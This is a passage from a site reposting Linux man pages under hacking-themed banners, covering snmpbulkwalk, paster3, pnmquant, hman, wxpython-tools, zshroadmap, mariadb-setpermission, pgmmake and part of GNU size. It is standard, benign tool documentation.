spctoppm

[spcfile]

DESCRIPTION

This program is part of Netpbm(1) .

spctoppm reads an Atari compressed Spectrum file as input and produces a PPM image as output.

OPTIONS

There are no command line options defined specifically for spctoppm, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

SEE ALSO

sputoppm(1) , ppm(1)

AUTHOR

Copyright (C) 1991 by Steve Belczyk ([email protected]) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/spctoppm.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

154 - Linux cli command snmpbulkwalk

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command snmpbulkwalk and provides detailed information about the command snmpbulkwalk, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the snmpbulkwalk.

NAME 🖥️ snmpbulkwalk 🖥️

retrieve a subtree of management values using SNMP GETBULK requests

SYNOPSIS

snmpbulkwalk [APPLICATION OPTIONS] [COMMON OPTIONS] AGENT [OID]

DESCRIPTION

snmpbulkwalk is an SNMP application that uses SNMP GETBULK requests to query a network entity efficiently for a tree of information.

An object identifier (OID) may be given on the command line. This OID specifies which portion of the object identifier space will be searched using GETBULK requests. All variables in the subtree below the given OID are queried and their values presented to the user. Each variable name is given in the format specified in variables(5). If no OID argument is present, snmpbulkwalk will search MIB-2.

If the network entity has an error processing the request packet, an error packet will be returned and a message will be shown, helping to pinpoint why the request was malformed.

If the tree search causes attempts to search beyond the end of the MIB, the message “End of MIB” will be displayed.

OPTIONS

-Cc
Do not check whether the returned OIDs are increasing. Some agents (LaserJets are an example) return OIDs out of order, but can complete the walk anyway. Other agents return OIDs that are out of order and can cause snmpbulkwalk to loop indefinitely. By default, snmpbulkwalk tries to detect this behavior and warns you when it hits an agent acting illegally. Use -Cc to turn off this behaviour.

-Ci
Include the given OID in the search range. Normally snmpbulkwalk uses GETBULK requests starting with the OID you specified and returns all results in the MIB tree after that OID. Sometimes, you may wish to include the OID specified on the command line in the printed results if it is a valid OID in the tree itself. This option lets you do this.

-Cn*<NUM>*
Set the non-repeaters field in the GETBULK PDUs. This specifies the number of supplied variables that should not be iterated over. The default is 0.

-Cp
Upon completion of the walk, print the number of variables found.

-Cr*<NUM>*
Set the max-repetitions field in the GETBULK PDUs. This specifies the maximum number of iterations over the repeating variables. The default is 10.

In addition to these options, snmpbulkwalk takes the common options described in the snmpcmd(1) manual page. Note that snmpbulkget REQUIRES an argument specifying the agent to query and at most one OID argument, as described above.

EXAMPLE

The command:

snmpbulkwalk -v2c -Os -c public zeus system

will retrieve all of the variables under system:

sysDescr.0 = STRING: “SunOS zeus.net.cmu.edu 4.1.3_U1 1 sun4m”
sysObjectID.0 = OID: enterprises.hp.nm.hpsystem.10.1.1
sysUpTime.0 = Timeticks: (155274552) 17 days, 23:19:05
sysContact.0 = STRING: ""
sysName.0 = STRING: “zeus.net.cmu.edu”
sysLocation.0 = STRING: ""
sysServices.0 = INTEGER: 72

In contrast to snmpwalk, this information will typically be gathered in a single transaction with the agent, rather than one transaction per variable found. snmpbulkwalk is thus more efficient in terms of network utilisation, which may be especially important when retrieving large tables.

NOTE

As the name implies, snmpbulkwalk utilizes the SNMP GETBULK message, which is not available in SNMP v1.

SEE ALSO

snmpcmd(1), variables(5).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

155 - Linux cli command paster3

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command paster3 and provides detailed information about the command paster3, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the paster3.

NAME 🖥️ paster3 🖥️

pluggable command-line frontend, including commands to setup package file layouts

SYNOPSIS

paster3 paster3 [OPTION] COMMAND [command_options]

DESCRIPTION

This manual page documents briefly the paster3 command.

paster3 is a program that can create file layouts for Python3 packages and serve up web applications, with configuration based on paste.deploy. It can for instance create a setuptools-ready file layout.

OPTIONS

These programs follow the usual GNU command line syntax, with long options starting with two dashes (`-’). A summary of options is included below.

-h, –help
Show summary of options.

–version
Show version of program.

–plugin=PLUGINS
Add a plugin to the list of commands (plugins are Egg specs; will also require() the Egg)

COMMANDS

create
Create the file layout for a Python distribution

grep
Search project for symbol

help
Display help

make-config
Install a package and create a fresh config file/directory

points
Show information about entry points

serve
Serve the described application

setup-app
Setup an application, given a config file

AUTHOR

paster3 was written by Ian Bicking <[email protected]>.

This manual page was written by Piotr Ozarowski <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

156 - Linux cli command pnmquant

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmquant and provides detailed information about the command pnmquant, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmquant.

.

NAME 🖥️ pnmquant 🖥️

quantize the colors in a Netpbm image to a smaller set

SYNOPSIS

pnmquant [-center|-meancolor|-meanpixel] [-floyd|-fs] [-nofloyd|-nofs] [-spreadbrightness|-spreadluminosity] {[-norandom]|[**-randomseed=**n]} ncolors [pnmfile]

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or equals signs between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmquant reads a PNM image as input. It chooses ncolors colors to best represent the image, maps the existing colors to the new ones, and writes a PNM image as output.

This program is simply a combination of pnmcolormap and pnmremap, where the colors of the input are remapped using a color map which is generated from the colors in that same input. The options have the same meaning as in those programs. See their documentation to understand pnmquant.

You may actually get fewer than ncolors colors in the output because the method pnmcolormap uses to choose the best set of colors for the image is not the same as the method pnmremap uses to determine the best color from the set to represent an individual color. For example, pnmcolormap may include salmon in the color map as the best representative of a pink pixel in the input and include coral in the color map as the best representative of an actual coral pixel in the input. But pnmremap is free to use any color in the color map to represent that pink pixel and would find coral is a closer match for pink than salmon and therefore use coral for pink. pnmremap might not use salmon for any pixel.

This waste of a slot in the color map is a consequence of the approximate method pnmcolormap uses in order to compute the color map with a practical amount of computation.

Running pnmcolormap and pnmremap Separately

It is much faster to call pnmcolormap and pnmremap directly than to run pnmquant. You save the overhead of the Perl interpreter and creating two extra processes. pnmquant is just a convenience.

Here is an example of the relationship between the programs:

This:

    $ pnmquant 256 myimage.pnm >/tmp/colormap.pnm >myimage256.pnm

does essentially this:

    $ pnmcolormap 256 myimage.pnm >/tmp/colormap.pnm
    $ pnmremap -mapfile=/tmp/colormap.pnm myimage.pnm >myimage256.pnm

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmquant recognizes the following command line options:

Options Passed to pnmcolormap

These options control the selection of the palette. They are options to pnmcolormap(1) .

-center
-meancolor
-meanpixel
-spreadbrightness
-spreadluminosity

Options Passed to pnmremap

These options control which color from the palette the program uses to replace a pixel of a certain color from the input. They are options to pnmremap(1) .

-floyd
-fs
-nofloyd
-nofs
-norandom
-randomseed
-norandom

HISTORY

pnmquant did not exist before Netpbm 9.21 (January 2001). Before that, ppmquant did the same thing, but only on PPM images. ppmquant continues to exist, but is only a front end (for name compatibility) to pnmquant.

-version did not exist before Netpbm 10.75 (June 2016).

-norandom did not exist before Netpbm 10.82 (March 2018).

SEE ALSO

pnmcolormap(1) , pnmremap(1) , pnmquantall(1) , pamdepth(1) , ppmdither(1) , ppmquant(1) , pnm(1)

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pnmquant.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

157 - Linux cli command hman

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command hman and provides detailed information about the command hman, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the hman.

NAME 🖥️ hman 🖥️

browse the on-line manual pages

SYNOPSIS

hman [ -P browser ] [ -H host ] [ section ] name
hman [ -P browser ] [ -H host ] [ section ] [ index ]

DESCRIPTION

The hman script is an interface to man2html(1) that allows you to enter man page requests at the command line and view the output in your favourite browser. The behaviour reminds of that of man(1) so that many people will be able to alias hman to man. If the browser used is netscape, and an incarnation of netscape is running already, hman will pass the request to the existing browser.

OPTIONS

- P browser
Specify which browser (like lynx, xmosaic, arena, chimera, netscape, amaya, …) to use. This option overrides the MANHTMLPAGER environment variable. The default is sensible-browser.
A special value lynxcgi can be used for the non-httpd version of lynx, but this requires the lynx(1) command to be installed and approprietly configured.

- H host
Specify from what host to get the man pages. This option overrides the MANHTMLHOST environment variable. The default is localhost.

ENVIRONMENT

MANHTMLPAGER
The default browser to use is selected using this environment variable.

MANHTMLHOST
The default host to use is selected using this environment variable.

SEE ALSO

man(1), man2html(1), arena(1), lynx(1), sensible-browser(1), netscape(1), xmosaic(1), glimpse(1)

http://www.mcom.com/newsref/std/x-remote.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

158 - Linux cli command wxpython-tools

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wxpython-tools and provides detailed information about the command wxpython-tools, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wxpython-tools.

NAME 🖥️ wxpython-tools 🖥️

wxPython tools.
img2png - wxPython tools.
img2py - wxPython tools.
img2xpm - wxPython tools.
pycrust - wxPython tools.
pyshell - wxPython tools.
pyslices - wxPython tools.
pyslicesshell - wxPython tools.
pywxrc - wxPython tools.
wxdemo - wxPython tools.
wxdocs - wxPython tools.
wxget - wxPython tools.

DESCRIPTION

The real documentation for these tools is available in pydoc format.

For example:

pydoc3 wx.tools.img2xpm

SEE ALSO

pydoc3(1)

COPYRIGHT

This manpage was written by Ron Lee <[email protected]> for the Debian GNU/Linux distribution of wxWidgets. It may be freely distributed by anyone insane enough to find it useful.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

159 - Linux cli command zshroadmap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command zshroadmap and provides detailed information about the command zshroadmap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the zshroadmap.

NAME 🖥️ zshroadmap 🖥️

informal introduction to the zsh manual The Zsh Manual, like the shell itself, is large and often complicated. This section of the manual provides some pointers to areas of the shell that are likely to be of particular interest to new users, and indicates where in the rest of the manual the documentation is to be found.

WHEN THE SHELL STARTS

When it starts, the shell reads commands from various files. These can be created or edited to customize the shell. See the section Startup/Shutdown Files in zsh(1).

If no personal initialization files exist for the current user, a function is run to help you change some of the most common settings. It won’t appear if your administrator has disabled the zsh/newuser module. The function is designed to be self-explanatory. You can run it by hand with `autoload -Uz zsh-newuser-install; zsh-newuser-install -f’. See also the section `User Configuration Functions’ in zshcontrib(1).

INTERACTIVE USE

Interaction with the shell uses the builtin Zsh Line Editor, ZLE. This is described in detail in zshzle(1).

The first decision a user must make is whether to use the Emacs or Vi editing mode as the keys for editing are substantially different. Emacs editing mode is probably more natural for beginners and can be selected explicitly with the command bindkey -e.

A history mechanism for retrieving previously typed lines (most simply with the Up or Down arrow keys) is available; note that, unlike other shells, zsh will not save these lines when the shell exits unless you set appropriate variables, and the number of history lines retained by default is quite small (30 lines). See the description of the shell variables (referred to in the documentation as parameters) HISTFILE, HISTSIZE and SAVEHIST in zshparam(1). Note that it’s currently only possible to read and write files saving history when the shell is interactive, i.e. it does not work from scripts.

The shell now supports the UTF-8 character set (and also others if supported by the operating system). This is (mostly) handled transparently by the shell, but the degree of support in terminal emulators is variable. There is some discussion of this in the shell FAQ, https://www.zsh.org/FAQ/. Note in particular that for combining characters to be handled the option COMBINING_CHARS needs to be set. Because the shell is now more sensitive to the definition of the character set, note that if you are upgrading from an older version of the shell you should ensure that the appropriate variable, either LANG (to affect all aspects of the shell’s operation) or LC_CTYPE (to affect only the handling of character sets) is set to an appropriate value. This is true even if you are using a single-byte character set including extensions of ASCII such as ISO-8859-1 or ISO-8859-15. See the description of LC_CTYPE in zshparam(1).

Completion

Completion is a feature present in many shells. It allows the user to type only a part (usually the prefix) of a word and have the shell fill in the rest. The completion system in zsh is programmable. For example, the shell can be set to complete email addresses in arguments to the mail command from your ~/.abook/addressbook; usernames, hostnames, and even remote paths in arguments to scp, and so on. Anything that can be written in or glued together with zsh can be the source of what the line editor offers as possible completions.

Zsh has two completion systems, an old, so called compctl completion (named after the builtin command that serves as its complete and only user interface), and a new one, referred to as compsys, organized as library of builtin and user-defined functions. The two systems differ in their interface for specifying the completion behavior. The new system is more customizable and is supplied with completions for many commonly used commands; it is therefore to be preferred.

The completion system must be enabled explicitly when the shell starts. For more information see zshcompsys(1).

Extending the line editor

Apart from completion, the line editor is highly extensible by means of shell functions. Some useful functions are provided with the shell; they provide facilities such as:

insert-composed-char composing characters not found on the keyboard

match-words-by-style
configuring what the line editor considers a word when moving or deleting by word

history-beginning-search-backward-end, etc.
alternative ways of searching the shell history

replace-string, replace-pattern
functions for replacing strings or patterns globally in the command line

edit-command-line
edit the command line with an external editor.

See the section `ZLE Functions’ in zshcontrib(1) for descriptions of these.

OPTIONS

The shell has a large number of options for changing its behaviour. These cover all aspects of the shell; browsing the full documentation is the only good way to become acquainted with the many possibilities. See zshoptions(1).

PATTERN MATCHING

The shell has a rich set of patterns which are available for file matching (described in the documentation as `filename generation’ and also known for historical reasons as `globbing’) and for use when programming. These are described in the section `Filename Generation’ in zshexpn(1).

Of particular interest are the following patterns that are not commonly supported by other systems of pattern matching:

** for matching over multiple directories

|
for matching either of two alternatives

~, ^
the ability to exclude patterns from matching when the EXTENDED_GLOB option is set

()
glob qualifiers, included in parentheses at the end of the pattern, which select files by type (such as directories) or attribute (such as size).

GENERAL COMMENTS ON SYNTAX

Although the syntax of zsh is in ways similar to the Korn shell, and therefore more remotely to the original UNIX shell, the Bourne shell, its default behaviour does not entirely correspond to those shells. General shell syntax is introduced in the section `Shell Grammar’ in zshmisc(1).

One commonly encountered difference is that variables substituted onto the command line are not split into words. See the description of the shell option SH_WORD_SPLIT in the section `Parameter Expansion’ in zshexpn(1). In zsh, you can either explicitly request the splitting (e.g. ${=foo}) or use an array when you want a variable to expand to more than one word. See the section `Array Parameters’ in zshparam(1).

PROGRAMMING

The most convenient way of adding enhancements to the shell is typically by writing a shell function and arranging for it to be autoloaded. Functions are described in the section `Functions’ in zshmisc(1). Users changing from the C shell and its relatives should notice that aliases are less used in zsh as they don’t perform argument substitution, only simple text replacement.

A few general functions, other than those for the line editor described above, are provided with the shell and are described in zshcontrib(1). Features include:

promptinit a prompt theme system for changing prompts easily, see the section `Prompt Themes'

zsh-mime-setup
a MIME-handling system which dispatches commands according to the suffix of a file as done by graphical file managers

zcalc
a calculator

zargs
a version of xargs that makes the find command redundant

zmv
a command for renaming files by means of shell patterns.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

160 - Linux cli command mariadb-setpermission

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mariadb-setpermission and provides detailed information about the command mariadb-setpermission, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mariadb-setpermission.

NAME 🖥️ mariadb-setpermission 🖥️

setpermission - interactively set permissions in grant tables (mysql_setpermission is now a symlink to mariadb-setpermission)

SYNOPSIS

mysql_setpermission [options]

DESCRIPTION

mysql_setpermission is a Perl script that was originally written and contributed by Luuk de Boer. It interactively sets permissions in the MariaDB grant tables. mysql_setpermission is written in Perl and requires that the DBI and DBD::MariaDB Perl modules be installed.

Invoke mysql_setpermission like this:

shell> mysql_setpermission [options]

options should be either –help to display the help message, or options that indicate how to connect to the MariaDB server. The account used when you connect determines which permissions you have when attempting to modify existing permissions in the grant tables.

mysql_setpermission also reads options from the [client] and [perl] groups in the .my.cnf file in your home directory, if the file exists.

mysql_setpermission supports the following options:

·

–help

Display a help message and exit.

·

**–host=**host_name

Connect to the MariaDB server on the given host.

·

**–password=**password

The password to use when connecting to the server. Note that the password value is not optional for this option, unlike for other MariaDB programs.

Specifying a password on the command line should be considered insecure. You can use an option file to avoid giving the password on the command line.

·

**–port=**port_num

The TCP/IP port number to use for the connection.

·

**–socket=**path

For connections to localhost, the Unix socket file to use.

·

**–user=**user_name

The MariaDB user name to use when connecting to the server.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

161 - Linux cli command pgmmake

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmmake and provides detailed information about the command pgmmake, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmmake.

.

NAME 🖥️ pgmmake 🖥️

create a PGM image of a specified gray level and dimensions

SYNOPSIS

pgmmake [**-maxval=**maxval] graylevel width height

All options can be abbreviated to their shortest unique prefix. You may use two hyphens instead of one to designate an option. You may use either white space or an equals sign between an option name and its value.

DESCRIPTION

This program is part of Netpbm(1) .

pgmmake produces a PGM image of the specified gray level, width, height, and maxval.

Specify the gray level (graylevel) as a decimal floating point number in the range [0, 1]. E.g. 1 is white, 0 is black, and 0.5 is half luminosity gray.

EXAMPLES

    pgmmake 1 50 50

    pgmmake .2 50 100 -maxval=5

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pgmmake recognizes the following command line option:

**-maxval=**maxval
The maxval for the generated image. Default is 255.

SEE ALSO

pbmmake(1) , ppmmake(1) , pgm(1)

HISTORY

This program was new in Netpbm 10.32 (February 2006).

With older Netpbm, use ppmmake and ppmtopgm.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmmake.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

162 - Linux cli command x86_64-linux-gnu-size

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-size and provides detailed information about the command x86_64-linux-gnu-size, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-size.

NAME 🖥️ x86_64-linux-gnu-size 🖥️

list section sizes and total size of binary files

SYNOPSIS

size [-A|-B|-G|–format=compatibility] [–help] [-d|-o|-x|–radix=number] [–common] [-t|–totals] [–target=bfdname] [-V|–version] [-f] [objfile…]

DESCRIPTION

The GNU size utility lists the section sizes and the total size for each of the binary files objfile on its argument list. By default, one line of output is generated for each file or each module if the file is an archive.

objfile… are the files to be examined. If none are specified, the file a.out will be used instead.

OPTIONS

The command-line options have the following meanings:

-A

-B

-G

–format=compatibility

Using one of these options, you can choose whether the output from GNU size resembles output from System V size (using -A, or –format=sysv), or Berkeley size (using -B, or –format=berkeley). The default is the one-line format similar to Berkeley’s. Alternatively, you can choose the GNU format output (using -G, or –format=gnu), this is similar to Berkeley’s output format, but sizes are counted differently. Here is an example of the Berkeley (default) format of output from size: $ size –format=Berkeley ranlib size text data bss dec hex filename 294880 81920 11592 388392 5ed28 ranlib 294880 81920 11888 388688 5ee50 size The Berkeley style output counts read only data in the text column, not in the data column, the dec and hex columns both display the sum of the text, data, and bss columns in decimal and hexadecimal respectively. The GNU format counts read only data in the data column, not the text column, and only displays the sum of the text, data, and bss columns once, in the total column. The –radix option can be used to change the number base for all columns. Here is the same data displayed with GNU conventions: $ size –format=GNU ranlib size text data bss total filename 279880 96920 11592 388392 ranlib 279880 96920 11888 388688 size This is the same data, but displayed closer to System V conventions: $ size –format=SysV ranlib size ranlib : section size addr .text 294880 8192 .data 81920 303104 .bss 11592 385024 Total 388392 size : section size addr .text 294880 8192 .data 81920 303104 .bss 11888 385024 Total 388688

–help

-h

-H

-?

Show a summary of acceptable arguments and options.

-d

-o

-x

–radix=number

